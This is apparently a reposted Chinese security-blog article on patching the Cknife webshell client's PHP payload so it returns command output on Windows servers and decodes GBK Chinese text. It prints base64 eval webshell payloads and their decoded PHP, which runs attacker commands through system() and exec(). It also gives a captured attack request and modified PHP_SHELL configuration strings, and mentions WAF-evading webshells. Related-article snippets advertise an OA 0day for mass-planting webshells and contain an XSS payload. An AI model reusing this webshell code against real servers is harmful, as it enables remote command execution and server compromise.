c php乱码,Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码

article/2025/10/1 1:09:32

在现在满大街菜刀都存在后门问题的时候,Cknife横空出世了。因为开源,所以安全。因为可操作的空间挺大的,也十分适合过各种WAF。下面就是解决两个常见问题的过程。希望可以帮到各位白帽子。

但是使用过程中也遇到了一些小问题,被吐槽最多的就是中文乱码以及部分Windows环境shell无法回显。下面我来分析过程,解决问题:首先是shell回显问题,shell在部分windows环境中是不能执行cmd的

22b3698eff14a0106953e5f98c028553.png

哇,气死人了。

昨晚写出来了配套的过狗过D盾过360一句话木马,也把Cknife的数据做了加密。

然而,这东西根本无法好好使用啊!

测试一句话(服务端):

于是给Cknife,连接shell,打开burp抓包

这是执行”whoami”时候的请求,没有返回的报文。POST /test.php HTTP/1.1

User-Agent: Java/1.8.0_121

Host: localhost

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Content-type: application/x-www-form-urlencoded

Content-Length: 598

Connection: close

a=QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw== &action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2bfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw%3d%3d&z1=Y21k&z2=Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0%3d

本地模拟了服务端处理客户端请求的场景<?php

//客户端发送请求

$_POST['a'] = 'QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw==';

$_POST['z1']='Y21k';

$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0=';

$_POST['action']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw==';

//服务端

eval(base64_decode($_POST['a']).';');

8cdef3c6cc41556a5e5486db7d3b5e86.png

然后Base64解码<?php

$_POST['z1']='Y21k';

$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=';

eval('

@ini_set("display_errors","0");

@set_time_limit(0);

@set_magic_quotes_runtime(0);

echo("->|");;

$p=base64_decode($_POST["z1"]);

$s=base64_decode($_POST["z2"]);

$d=dirname($_SERVER["SCRIPT_FILENAME"]);

$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";

system($r." 2>&1",$ret);

print ($ret!=0)?"ret={$ret}":"";;

echo("|

');

这就通过短短一句话木马来做事情的秘密了。

特么的!最坑的地方知道是什么吗!我找了一晚上!

看似很正常对吧?$p = ‘cmd’;

$c= ‘whoami’; (举例)

$r="{$p} {$c}";

然后system($r);

一切都很完美吧?

那你就错了,因为

208098998fffb7593ecb3f3ba5925267.png

呵呵,所以shell环境是Windows的时候有可能发生这种低级问题,

你!根!本!执!行!不!了!命!令!

解决起来也很简单

明文修改部分就行了!<?php

$_POST['z1']='Y21k';

$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=';

eval('

@ini_set("display_errors","0");

@set_time_limit(0);

@set_magic_quotes_runtime(0);

echo("->|");;

$p=base64_decode($_POST["z1"]);

$s=base64_decode($_POST["z2"]);

$d=dirname($_SERVER["SCRIPT_FILENAME"]);

$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";

$r="{$s}";

system($r." 2>&1",$ret);print ($ret!=0)?"

ret={$ret}

":"";;echo("|

');

实际操作只需要

打开c刀的Config.ini文件,查找  “php_shell=”

5b01a95ad954637bd5caefd43890e209.png

修改成PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmVjaG8oIi0%2bfCIpOzsKJHA9KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKSk7CiRzPShiYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSkpOwokZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiRjPXN1YnN0cigkZCwwLDEpPT0iLyI/Ii1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOwokYz0kczsKJHI9InskY30iOwpzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw%3d%3d

就行了,然后重新打开一次C刀。大功告成。

af838f5d00a531b45598ee84750bdf64.png

这只是第一部分,回显中有中文依旧会乱码,于是就有了后半部分文章

中文乱码解决

df39ff29216e979bb58c92361984f31b.png

抓包,得到数据,可以看到,本地模拟的情况下。system函数执行的回显是乱码的。

后来经过测试,是编码的问题 ,把编码修改成utf-8即可显示中文啦~

下面是具体操作

并且需要把system函数修改成exec函数,用来把回显赋值给变量

8189d632dce6b3649722a8bb00a1e340.png

修改部分exec($r." 2>&1",$retn,$retn2);

foreach($retn as $res) {

$res = iconv("GBK", "UTF-8", $res);

echo $res;

echo "\n";

};

即可正常显示中文

修改cknife目录下的config文件中的php_shell为修改部分 PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmVjaG8oIi0%2bfCIpOzsKJHA9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokcz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTsKJGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7CiRyPSJ7JHN9IjsKZXhlYygkci4iIDI%2bJjEiLCRyZXRuLCRyZXRuMik7CmZvcmVhY2goJHJldG4gYXMgJHJlcykgewogICAgJHJlcyA9IGljb252KCJHQksiLCAiVVRGLTgiLCAkcmVzKTsKICAgIGVjaG8gJHJlczsKICAgIGVjaG8gIlxuIjsKfTsKZWNobyAkcmV0bjI7CnByaW50ICgkcmV0bjIhPTApPyJyZXRuMj17JHJldG4yfSI6IiI7OwplY2hvKCJ8PC0iKTsKZGllKCk7

即可正常回显中文啦~

a8b2529bc31fdb36daad83176f290fa8.png

*本文作者:Lz1y,转载请注明FreeBuf.COM


http://chatgpt.dhexx.cn/article/fEKHaaHh.shtml

相关文章

致远OA_0day批量植Cknife马一步到位

最近各位师傅都在刷这个嘛&#xff0c;原本的exp是上传一个test123456.jsp的命令执行的马子&#xff0c;不过我在试的时候发现替换成C刀一句话出错,原因未知&#xff0c;并且test123456.jsp如果存在的话用原来exp是无法覆盖的。参考改进了t00ls师傅的代码(https://www.t00ls.ne…

linux 安全狗 乱码,打狗棒法之:Cknife(C刀)自定义模式秒过安全狗

免责声明&#xff1a;本站提供安全工具、程序(方法)可能带有攻击性&#xff0c;仅供安全研究与教学之用&#xff0c;风险自负! 相关阅读&#xff1a; 0x00 前言 很多朋友在使用Cknife时都误以为她只是菜刀的跨平台升级版&#xff0c;仅仅多了跨平台的功能&#xff0c;其实小伙伴…

Cknife流量分析

本文首发&#xff1a;https://<img src1 οnerrοr\u006coc\u0061tionj\x61v\x61script:\x61lert\x281\x29>testdemo 0x01 环境 <?php eval($_REQUEST[shell] ?> 0x02 命令执行 执行命令结果如下图所示 POST的数据如下图所示 对POST的数据解码 #shell eval(base6…

渗透工具环境篇——Cknife中国菜刀的使用

提要 在学习上传漏洞的时候研究到了Cknife这个软件。下面来介绍一下菜刀的使用方法。 使用 1.下载菜刀&#xff0c;打开Cknife.jar软件 2.右键点击添加 3.输入上传的php文件&#xff0c;php文件密码&#xff0c;脚本类型选择PHP&#xff0c;字符编码GB2312&#xff0c;点…

关于cknife与burpsuite对java的版本需求的冲突机器解决办法

之前安装burpsuite时候使用的是jdk11,一直使用的没有问题&#xff0c;后来接触到了cknife,但在使用时却发现cknife需要jre1.7以上版本&#xff0c;但这有是burpsuit无法兼容的&#xff0c;翻来覆去整了半天&#xff0c;终于搞定了。。 1.先删除jdk-11 2.下载jdk-7u80,这里面是…

打狗棒法之:Cknife(C刀)自定义模式秒过安全狗(二)

免责声明&#xff1a;本站提供安全工具、程序(方法)可能带有攻击性&#xff0c;仅供安全研究与教学之用&#xff0c;风险自负! 000 前言 亲爱的Chora小伙伴在上文说过&#xff0c;他是一个有责任心的基佬&#xff0c;要手把手为大家&#xff08;不&#xff09;负责任的讲解如何…

图像位运算、掩模

图像位运算、掩模 原图 添加的RGB图像 1. 选取原图中的感兴趣的区域&#xff0c;即ROI&#xff08;region of interest&#xff09; 2. 将要添加的RGB图像转换成灰度图像 img2gray cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)3. 将灰度图像进一步转成二值图像&#xff0c;即…

【图像锐化】非锐化掩模 USM(Unsharpen Mask)与锐化掩模 SM(Sharpen Mask)

非锐化掩模USM&#xff08;Unsharpen Mask&#xff09;与锐化掩模 SM&#xff08;Sharpen Mask&#xff09; 掩膜操作可以提高图像对比度&#xff0c;对比度提高可以增加图像感官度、锐化&#xff0c;让看起来有点模糊的图像更清晰。 原理&#xff1a;提取图像的高频分量&#…

2021年中国光掩模玻璃基板行业市场需求量分析:IC、FPD领域快速发展带动光掩模玻璃基板需求量不断增长[图]

一、概述 光刻掩膜版,简称掩膜版,是微纳加工技术常用的光刻工艺所使用的图形母版。由不透明的遮光薄膜在透明基板上形成掩膜图形结构,再通过曝光过程将图形信息转移到产品基片上。 光学掩模板是在薄膜、塑料或玻璃基体材料上制作各种功能图形并精确定位,以便用于光致抗蚀…

【OpenCV 】图像掩模

图像掩模&#xff08;image mask&#xff09;&#xff1a;用选定的图像、图形或物体&#xff0c;对待处理的图像&#xff08;局部或全部&#xff09;进行遮挡来控制图像处理的区域或处理过程。由于覆盖的特定图像或物体称为掩模或模板。 数字图像处理中&#xff0c;掩模为二维…

【youcans 的 OpenCV 例程200篇】179.图像分割之 GrabCut 图割法(掩模图像)

【youcans 的 OpenCV 例程200篇】176.图像分割之均值漂移算法 【youcans 的 OpenCV 例程200篇】177.图像分割之 GraphCuts 图割法 【youcans 的 OpenCV 例程200篇】178.图像分割之 GrabCut 图割法&#xff08;框选前景&#xff09; 【youcans 的 OpenCV 例程200篇】179.图像分割…

OpenCV python 掩模处理学习笔记

OpenCV python 掩模处理 前言1.1 掩模是什么1.2 掩模的原理1.3 构造掩模图像总结 前言 接上篇OpenCV Python 直方图的使用。在opencv中使用掩模对图像进行处理是一个十分常用的方法。本篇是记录掩模操作的原理及使用。小白入门&#xff0c;如有不正确的地方希望大佬指正。 提示…

OpenCV基于Python图像掩模处理

图像掩模 目标1. 图像掩模的概念2. 图像掩模的作用3. 示例演示 目标 本篇文章主要介绍图像掩模的概念、作用、及其简单实现。 1. 图像掩模的概念 图像掩模&#xff08;image mask&#xff09;是用选定的图像、图形或物体&#xff0c;对待处理的图像&#xff08;局部或全部&a…

CodedStereo:大尺度景深双目视觉的相位掩模学习(CVPR2021)

点击上方“3D视觉工坊”&#xff0c;选择“星标” 干货第一时间送达 来源丨泡泡机器人SLAM 作者丨泡泡机器人 标题&#xff1a;CodedStereo: Learned Phase Masks for LargeDepth-of-Field Stereo 作者:Shiyu Tan, Yicheng Wu, Shoou-I Yu&#xff0c; Ashok Veeraraghavan 机构…

OpenCV笔记整理【直方图和掩模】

1. 直方图&#xff1a; 直方图统计图像中各个灰度级出现的次数&#xff0c;横坐标为各个像素点的灰度级&#xff0c;纵坐标是具有该灰度级的像素个数。 上面这个九宫格我们可以想象成一张图像&#xff0c;里面的数字代表当前像素的灰度等级。 用图表显示&#xff1a;X轴代表…

数字图像处理 掩模

将logo叠加在图片上 将logo图片进行灰度化阈值处理得到掩模 (需要的部分是置非0 不需要的黑色的部分置0) 然后需要利用掩模对logo图像和人物图像分别进行处理 对logo图&#xff1a; 需要把黑色部分去掉-----与掩模进行与操作把黑色部分置0 Ps:黑色部分用add叠加时相当于没有…

OpenCV基本功 之 图像的掩模、运算 合并专题 -小啾带学【Python-Open_CV系列(七)】

OpenCV图像的掩模、运算 与 合并专题 【Python-Open_CV系列&#xff08;七&#xff09;】 文章目录 1.图像的掩模2.图像的运算2.1 图像的加法运算2.1.1 “”方法2.1.2 cv2.add()方法2.1.3 使用掩模遮盖相加结果 2.2 图像的位运算2.2.1 按位与 cv2.bitwise_and()2.2.2 按位或 c…

空间掩模matlab,浅谈基于SLM的非相干全息系统掩模设计及成像处理

宋冲 摘要:基于空间光调制器(Spatial Light Modulator,SLM)的菲涅尔非相干相关数字全息系统,无需对物体在空间或时间上进行扫描,可以快速获取真实三维物体的全息图,在荧光生物样品显微成像、彩色全息显示、以及自适应光学等领域展示了极大应用潜力。通过本项目的研究,为S…

matlab 掩模,用于图像中的与脸部有关的选择和处理的图像掩模制造技术

【技术实现步骤摘要】 【国外来华专利技术】【专利说明】用于图像中的与脸部有关的选择和处理的图像掩模相关串请的交叉引用本申请要求对通过完全引用而结合于此、提交于2013年5月14日的第13/894&#xff0c;384号美国专利申请的优先权。 技术介绍 数字相机的流行和便利以及因特…

图像掩模matlab,图像掩模_matlab_图像掩模

光学图像处理中,掩模可以足胶片、滤光片等。数字图像处理中,掩模为二维矩阵数组,有时也用多值图像。数字图像处理中,图像掩模主要用于:①提取感兴趣区,用预先制作的感兴 未来手机触摸屏要靠无掩模光刻技术_多点触摸 337x396 - 29KB - JPEG 5.4.3 选择式掩模平滑 - 51CTO.COM 53…